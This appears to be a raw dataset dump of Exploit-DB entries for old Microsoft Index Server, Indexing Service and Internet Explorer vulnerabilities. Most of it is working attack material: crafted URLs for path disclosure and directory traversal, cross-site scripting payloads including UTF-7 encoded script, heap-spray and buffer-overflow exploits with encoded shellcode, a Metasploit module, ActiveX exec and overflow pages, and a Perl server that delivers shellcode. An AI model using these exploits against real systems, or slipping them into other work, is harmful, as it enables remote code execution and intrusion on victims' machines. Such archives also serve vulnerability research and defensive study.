deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21113
Description: Microsoft Index Server 2.0 - File Information / Full Path Disclosure
Type: remote
Platform: windows
Date: 2001-09-14
Author: Syed Mohamed

Exploit:
source: https://www.securityfocus.com/bid/3339/info

The sqlqhit.asp sample file is used for performing web-based SQL queries.

Malicious users could send specifically crafted HTTP request to an Internet Information Services server running Index Server to reveal path information, file attributes, and possibly some lines of the file contents.

The sqlqhit.asp file is located in the \inetpub\iissamples\ISSamples\ folder and is installed by default. 

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=webinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=extended_fileinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=extended_webinfo

http://local-iis-server/iissamples/ISSamples/SQLQHit.asp?CiColumns=*&CiScope=fileinfo
Exploit-DB #19731
Description: Microsoft Index Server 2.0 / Indexing Service (Windows 2000) - Directory Traversal
Type: remote
Platform: windows
Date: 2000-01-26
Author: fredrik.widlund

Exploit:
// source: https://www.securityfocus.com/bid/950/info

Index Server 2.0 is a utility included in the NT 4.0 Option Pack. The functionality provided by Index Service has been built into Windows 2000 as Indexing Services.

When combined with IIS, Index Server and Indexing Services include the ability to view web search results in their original context. It will generate an html page showing the query terms in a short excerpt of the surrounding text for each page returned, along with a link to that page. This is known as "Hit Highlighting". To do this, it supports the .htw filetype which is handled by the webhits.dll ISAPI application. This dll will allow the use of the '../' directory traversal string in the selection of a template file. This will allow for remote, unauthenticated viewing of any file on the system whose location is known by the attacker.

The original patch released for this issue still discloses 'include' file types. 'include' files contain various data which assist in the execution of program files.

/* 
   fredrik.widlund@defcom-sec.com 
   
   example: iiscat ../../../../boot.ini
 */

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char request[2048], *request_p, *file_read, *file_valid = "/default.htm";
  int file_buf_size = 250;
  
  if (!((argc == 2 && argv[1] && strlen(argv[1]) < 1024) || 
	(argc == 3 && argv[1] && argv[2] && strlen(argv[1]) <= file_buf_size && strlen(argv[2]) < 1024)))
    {
      fprintf(stderr, "usage: iiscat file_to_read [valid_file]\n");
      exit(1);
    }
  
  file_read = argv[1];
  if (argc == 3)
    file_valid = argv[2];

  sprintf(request, "GET %s", file_valid);
  request_p = request + strlen(request);

  file_buf_size -= strlen(file_valid);
  while(file_buf_size)
    {
      strcpy(request_p, "%20");
      request_p += 3;
      file_buf_size--;
    }

  sprintf(request_p, ".htw?CiWebHitsFile=%s&CiRestriction=none&CiHiliteType=Full HTTP/1.0\n\n", file_read);
  puts(request);

  exit(0);
}
Exploit-DB #20335
Description: Microsoft Indexing Service (Windows 2000/NT 4.0) - '.htw' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2000-10-28
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/1861/info

A cross-site scripting vulnerability has been reported in Microsoft Indexing Services for Windows 2000/NT4 and its handling of the .htw extension. If a user inadvertantly opened a hostile link through a browser or HTML compliant e-mail client, active content such as JavaScript may be executed. For example, the following link when processed by IIS will yield successful exploitation:

http://target/null.htw?CiWebHitsFile=filename.htm&CiRestriction="<SCRIPT>Active Scripting</SCRIPT>"

It is not necessary to specify a valid .htw file because the virtual file null.htw is stored in memory and the .htw extension is mapped by default to webhits.dll.

Indexing Services is shipped with Windows 2000, however is not started by default. Those who are running a web server and have enabled Indexing Services are recommended to apply the patch.
Exploit-DB #28500
Description: Microsoft Indexing Service - Query Validation Cross-Site Scripting
Type: remote
Platform: windows
Date: 2006-09-12
Author: Eiji James Yoshida

Exploit:
source: https://www.securityfocus.com/bid/19927/info

Microsoft Indexing Service is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input before it is rendered to other users. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user, in the context of the victim's session. This could allow the attacker to perform actions on behalf of the victim, such as spoofing content or hijacking their session.

Microsoft Indexing Service is not installed or enabled by default. Even if installed, it is not accessible from Internet Information Services (IIS). This vulnerability affects only systems that have IIS and Indexing Service installed and that have the Indexing Service configured to be accessible from IIS through a web-based interface.

http://www.example.com/+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://www.example.com/+ADw-SCRIPT+AD4-alert('XSS');+ADw-+AC8-SCRIPT+AD4-.ida

UTF-7("<") = +ADw-, +ADx-, +ADy-, +ADz-
UTF-7(">") = +AD4-, +AD5-, +AD6-, +AD7-
UTF-7("/") = +AC8-, +AC9-
Exploit-DB #7410
Description: Microsoft Internet Explorer (Windows Vista) - XML Parsing Buffer Overflow
Type: remote
Platform: windows
Date: 2008-12-10
Author: muts

Exploit:
<html>
<script>

	// k`sOSe 12/10/2008
	// Tested on Vista SP1, Explorer 7.0.6001.18000 and Vista SP0, Explorer 7.0.6000.16386
 	// Heap spray address adjusted for Vista - muts / offensive-security.com
	// http://secmaniac.blogspot.com/2008/12/ms-internet-explorer-xml-parsing-remote.html
	// http://www.offensive-security.com/0day/iesploit-vista.rar
	// windows/exec - 141 bytes
	// http://www.metasploit.com                                                                    
	// EXITFUNC=seh, CMD=C:\WINDOWS\system32\calc.exe    
	var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");
  	var block = unescape("%u0c0c%u0c0c");
	var nops = unescape("%u9090%u9090%u9090");


	while (block.length < 81920) block += block;
	var memory = new Array();
	var i=0;
	for (;i<1000;i++) memory[i] += (block + nops + shellcode);

	document.write("<iframe src=\"iframe.html\">");

</script>


</html>


<!-- iframe.html

<XML ID=I>
	<X>
		<C>
			<![CDATA[
				<image 
					SRC=http://&#3084;&#3084;.xxxxx.org			
				>
			 ]]>
			
		</C>
	</X>
</XML>

<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
	<XML ID=I>
	</XML>

	<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML>
	</SPAN>
</SPAN>

-->

# milw0rm.com [2008-12-10]
Exploit-DB #1606
Description: Microsoft Internet Explorer - 'createTextRang' Remote Code Execution
Type: remote
Platform: windows
Date: 2006-03-23
Author: darkeagle

Exploit:
<!--
 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
/\
\/	Internet Explorer Remote Code Execution Exploit v 0.1
/\		  by Darkeagle of Unl0ck Research Team
\/
/\	used SkyLined idea of exploitation. special tnx goes to him.
\/

Affected Software	:  Microsoft Internet Explorer 6.x, IE7 Beta 2
Severity		:  Critical
Impact		:  Remote System Access
Solution Status	:  ** UNPATCHED **
Discovered by 	:  Computer Terrorism (UK)
Advisory Date	:  22nd March, 2006
Tested		:  WinXP SP2 RUS IE 6.0 (full patched)

Vulnerability details:

PoC from CyberTerrorists crashes IE and overwrites EIP. EIP points to unknown place.
In my case it points to 0x3c0474c2.
Exploit fills heap with "nops+shellcode" 'til 0x3CxxXXxx. Then IE trys to read memory
@ 0x3c0474c2. At this time 0x3c0474c2 contains nops+shellcode. In the end IE executes
shellcode.

Exploit needs more RAM.
Tested under 192mb RAM with 800mb of maximum page cache.

Under 512mb code was executed after 1-1.5 minutes.

Successfull exploitation will execute standart windows calculator.

Greets: 
		Unl0ck Researchers,
		0x557 guys,
		ph4nt0m guys,
		sh0k, uf0,
		BlackSecurity guys,
		many otherz.

/\	http://unl0ck.net
\/	
/\	(c) 2004 - 2006
\/
 -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
 -->

<input type="checkbox" id="blah">
<SCRIPT language="javascript">

shellcode = unescape(	"%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
			"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
			"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
			"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
			"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
			"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
			"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
			"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
			"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
			"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
			"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
			"%uCC4A%uD0FF");

    bigblock = unescape("%u9090%u9090"); 
    slackspace = 20 + shellcode.length

    while (bigblock.length < slackspace)
		bigblock += bigblock;

    fillblock = bigblock.substring(0, slackspace);

    block = bigblock.substring(0, bigblock.length-slackspace);

    while(block.length + slackspace < 0x40000) 
		block = block + block + fillblock;

    memory = new Array();

    for ( i = 0; i < 2020; i++ ) 
		memory[i] = block + shellcode;
  
    var r = document.getElementById('blah').createTextRange();

</script>

# milw0rm.com [2006-03-23]
Exploit-DB #868
Description: Microsoft Internet Explorer - 'mshtml.dll' CSS Parsing Buffer Overflow
Type: remote
Platform: windows
Date: 2005-03-09
Author: Arabteam2000

Exploit:
/* 
Taken from http://www.securiteam.com/exploits/5NP042KF5A.html 

The exploit will create a .CSS file that should be included 
in an HTML file. When a user loads the HTML file, Internet 
Explorer will try to parse the CSS and will trigger the 
buffer overflow. 
*/

//Exploit Code:
#include <stdio.h>
#include <string.h>
#include <tchar.h>

char bug[]=
"\x40\x63\x73\x73\x20\x6D\x6D\x7B\x49\x7B\x63\x6F\x6E\x74\x65\x6E\x74\x3A\x20\x22\x22\x3B\x2F"
"\x2A\x22\x20\x22\x2A\x2F\x7D\x7D\x40\x6D\x3B\x40\x65\x6E\x64\x3B\x20\x2F\x2A\x22\x7D\x7D\x20\x20\x20";

//////////////////////////////////////////////////////
/*
shellcode :MessageBox (0,"hack ie6",0,MB_OK);
-
XOR EBX,EBX
PUSH EBX ; 0
PUSH EBX ; 0
ADD AL,0F
PUSH EAX ; Msg " Hack ie6 "
PUSH EBX ;0
JMP 746D8E72 ;USER32.MessageBoxA
*/

char shellcode[]= "\x33\xDB\x53\x53\x04\x0F\x50\x53\xE9\xCB\x8D\x6D\x74"
"\x90\x90\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\x73\x73";


////////////////////////////////////////////////////////
// return address :: esp+1AC :: start shellcode
//MOV EAX,ESP
//ADD AX,1AC
//CALL EAX

char ret[]= "\x8B\xC4\x66\x05\xAC\x01\xFF\xD0";

int main(int argc, char* argv[])
{

    char buf[8192];
    FILE *cssfile;
    int i;

    printf("\n\n Internet Explorer(mshtml.dll) , Cascading Style Sheets Exploit \n");
    printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
    printf(" Coded by : Arabteam2000 \n");
    printf(" Web: www.arabteam2000.com \n");
    printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");

        // NOP`s
        for(i=0;i<8192;i++)
        buf[i]=0x90;


                // bug
        memcpy((void*)&buf[0],
                (void*)&bug,48);

        // shellcode
        memcpy((void*)&buf[100],
                (void*)&shellcode,27);

        // ret address
        memcpy((void*)&buf[8182],
                (void*)&ret,8);


        cssfile=fopen("file.css","w+b");
        if(cssfile==NULL){
                printf("-Error: fopen \n");
        return 1;
        }

                fwrite(buf,8192,1,cssfile);
        printf("-Created file: file.css\n ..OK\n\n");

        fclose (cssfile);
        return 0;
}

// milw0rm.com [2005-03-09]
Exploit-DB #11151
Description: Microsoft Internet Explorer - 'wshom.ocx' ActiveX Control Remote Code Execution
Type: remote
Platform: windows
Date: 2010-01-16
Author: germaya_x & D3V!L FUCKER

Exploit:
#######################################################################
#IE ActiveX remote bof (remote code excution)
#version: all versions
#Author:    [germaya_x & D3V!L FUCKER]
#special thanx: [for my best friend his0k4].
#Geetz [2] :[Sarbot511 ,thrid-devil].
#tested on : windows 7 , windows vista ,windows xp sp2
#######################################################################
<html>
<p align="left"><b><font face="Segoe Script" size="7">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
</font></b></p>
<p>
<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='target' ></object>
<script language='vbscript'>

arg1="c:\WINDOWS\system32\calc.exe"

target.Exec arg1 

</script></p>
Exploit-DB #16549
Description: Microsoft Internet Explorer - isComponentInstalled Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: ie_iscomponentinstalled.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Seh
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Internet Explorer isComponentInstalled Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Internet Explorer. This bug was
				patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hdm',
				],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2006-1016' ],
					[ 'OSVDB', '31647' ],
					[ 'BID', '16870' ],
				],
			'Payload'        =>
				{
					'Space'          => 512,
					'BadChars'       => "\x00\x5c\x0a\x0d\x22",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows XP SP0 with Internet Explorer 6.0', { 'Ret' =>  0x71ab8e4a } ]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 24 2006'))
	end

	def on_request_uri(cli, request)

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Create the overflow string
		pattern = rand_text_alpha(8192)

		# Smash the return address with a bogus pointer
		pattern[744, 4] = [0xffffffff].pack('V')

		# Handle the exception :-)
		seh = generate_seh_payload(target.ret)
		pattern[6439, seh.length] = seh


		# Build out the HTML response page
		var_client = rand_text_alpha(rand(30)+2)
		var_html   = rand_text_alpha(rand(30)+2)

		content = %Q|
<html>
<head>
	<script>
		function window.onload() {
			#{var_client}.style.behavior = "url(#default#clientCaps)";
			#{var_client}.isComponentInstalled( "__pattern__" ,  "componentid" );
		}
	</script>
</head>
<body id="#{var_client}">
#{var_html}
</body>
</html>
		|

		content = Rex::Text.randomize_space(content)

		# Insert the shellcode
		content.gsub!('__pattern__', pattern)

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #3808
Description: Microsoft Internet Explorer - NCTAudioFile2.AudioFile ActiveX Remote Stack Overflow (2)
Type: remote
Platform: windows
Date: 2007-04-27
Author: shinnai

Exploit:
<html>
<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='NCTAudioFile2'></object>
  <input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
   <script language = 'vbscript'>
    Sub tryMe

     '------------------------------------------------------------------
     '[PoC2] IE NCTAudioFile2.AudioFile ActiveX Remote Stack Overfl0w
     'original advisory: http://secunia.com/advisories/23475/
     'author: shinnai
     'mail: shinnai[at]autistici[dot]org
     'site: http://shinnai.altervista.org
     'based on: http://www.milw0rm.com/exploits/3728
     '(see what InTeL said about Win XP Pro SP2 and IE7, enjoy brotha ;)
     'modified for working on Win XP Pro SP2 with IE7 full patched
     '------------------------------------------------------------------

     buff = String (4116, "A")

     get_EIP = unescape("%EB%AA%D7%77") '0x77D7AAEB call esp (from user32.dll)

     nop = unescape("%90%90%90%90%90%90%90%90%90%90")

     shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
                 unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
                 unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
                 unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
                 unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
                 unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
                 unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
                 unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
                 unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
                 unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
                 unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
                 unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
                 unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
                 unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
                 unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
                 unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
                 unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
                 unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
                 unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
                 unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
                 unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
                 unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")

     egg = buff + get_EIP + nop + shellcode + nop

     NCTAudioFile2.SetFormatLikeSample egg

    End Sub
   </script>
</html>

# milw0rm.com [2007-04-27]
Exploit-DB #37
Description: Microsoft Internet Explorer - Object Tag (MS03-020)
Type: remote
Platform: windows
Date: 2003-06-07
Author: alumni

Exploit:
#!/usr/bin/perl

#
#  Proof of concept exploit on IE 5.x - 6.x by Alumni
#  IE-Object longtype dynamic call oferflow
#
#  url://<$shellcode><'/'x48><jmp %ptr_sh>
#  the flaw actually exists in URLMON.DLL when converting backslashes
#  to wide char, this can be seen on stack dump near '&CLSID=AAA...2F__2F__...'.
#	
#  To exploit:  i)  start server perl script;
#	     ii) connect to http-service using IE/5.x.
#                   a) the shellcode size is limited up to 56 bytes;
#	     b) the '$ret' may differ as well as the image base of KERNEL32.DLL;
#	     c) to avoid multiple encoding the shellcode is given 'as is' with help of JScript.
#

use IO::Socket;

$port = 80;
$server = IO::Socket::INET->new (LocalPort => $port,
				Type =>SOCK_STREAM,
				Reuse => 1,
				Listen => $port) or die("Couldnt't create 
server socket\n");


$shellcode = 	"\x33\xdb".		# xor ebx, ebx
		"\x8b\xd4".		# mov edx, esp
		"\x80\xc6\xff".		# add dh, 0xFF
		"\xc7\x42\xfc\x63\x6d".	# mov dword ptr[edx-4], 0x01646D63 
("cmd\x01")
		"\x64\x01".		#
		"\x88\x5a\xff".		# mov byte ptr[edx-1], bl
		"\x8d\x42\xfc".		# lea eax, [edx-4]
		"\x8b\xf5".		# mov esi, ebp
		"\x56\x52".		# push esi; push edx
		"\x53\x53\x53\x53\x53\x53".	# push ebx
		"\x50\x53".		# push eax; push ebx
		"\xb8\x41\x77\xf7\xbf".	# mov eax, 0xBFF77741 ~= 
CreateProcessA
		"\xff\xd0".		# call eax
		"\xb8\xf8\xd4\xf8\xbf".	# mov eax, 0xBFF8D4F8 ~= 
ExitProcess
		"\xff\xd0".		# call eax
		"\xcc";			# int 3

$nop = "\x90";
$ret = "\\xAB\\x5D\\x58";


while ($client = $server->accept()) {
	while (<$client>) {
		if ($_ =~ /^(\x0D\x0A)/) {

print $client <<END_DATA;
HTTP/1.0 200 Ok\r
Content-Type: text/html\r
\r
&lt;script&gt;\r
	var mins = 56;\r
	var size = 48;\r
	var sploit = "$shellcode";\r
	var strNop = "$nop";\r
	var strObj = '&lt;object type="';\r
	for (i=0;i<mins-sploit.length;i++) strObj += strNop;\r
	strObj += sploit;\r
	for (i=0;i<size;i++) strObj += '/';\r
	strObj += "CCCCCCCCDDDDDDDD";\r
	strObj += "$ret";\r
	strObj += '">Hello&lt;/object&gt;';\r
	alert(strObj);\r
	document.write(strObj);\r
&lt;/script&gt;\r
END_DATA
			close($client);

		}
	}
}

close($server);

# milw0rm.com [2003-06-07]